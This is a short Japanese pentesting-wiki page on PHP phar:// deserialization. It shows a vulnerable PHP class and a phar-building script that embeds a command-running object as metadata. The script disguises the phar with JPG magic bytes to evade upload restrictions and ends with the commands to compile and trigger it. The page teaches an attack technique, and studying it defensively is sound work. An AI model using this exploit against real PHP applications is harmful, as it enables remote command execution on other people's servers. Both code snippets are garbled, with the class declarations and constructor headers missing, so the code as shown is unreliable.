# phar:// deserialization {{#include ../../banners/hacktricks-training.md}} **Phar**ファイル(PHPアーカイブ)ファイルは**シリアライズ形式のメタデータ**を含んでいるため、解析されるとこの**メタデータ**は**デシリアライズ**され、**PHP**コード内の**デシリアライズ**脆弱性を悪用することができます。 この特性の最も良い点は、**file_get_contents()、fopen()、file()またはfile_exists()、md5_file()、filemtime()またはfilesize()**のようなPHPコードを評価しない関数を使用しても、このデシリアライズが発生することです。 したがって、任意のファイルのサイズを**`phar://`**プロトコルを使用して取得するPHPウェブがある状況を想像してみてください。そして、コード内に次のような**クラス**が見つかります: ```php:vunl.php data = $data; } function __destruct() { system($this->data); } } filesize("phar://test.phar"); #The attacker can control this path ``` あなたは、読み込まれると**このクラスを悪用して任意のコマンド**を実行する**phar**ファイルを作成できます。 ```php:create_phar.php data = $data; } function __destruct() { system($this->data); } } // create new Phar $phar = new Phar('test.phar'); $phar->startBuffering(); $phar->addFromString('test.txt', 'text'); $phar->setStub("\xff\xd8\xff\n"); // add object of any class as meta data $object = new AnyClass('whoami'); $phar->setMetadata($object); $phar->stopBuffering(); ``` 注意してください、**JPGのマジックバイト**(`\xff\xd8\xff`)がpharファイルの先頭に追加されて、**可能な**ファイル**アップロード**の**制限**を**回避**します。\ `test.phar`ファイルを次のようにコンパイルします: ```bash php --define phar.readonly=0 create_phar.php ``` 脆弱なコードを悪用して `whoami` コマンドを実行します: ```bash php vuln.php ``` ### 参考文献 {% embed url="https://blog.ripstech.com/2018/new-php-exploitation-technique/" %} {{#include ../../banners/hacktricks-training.md}}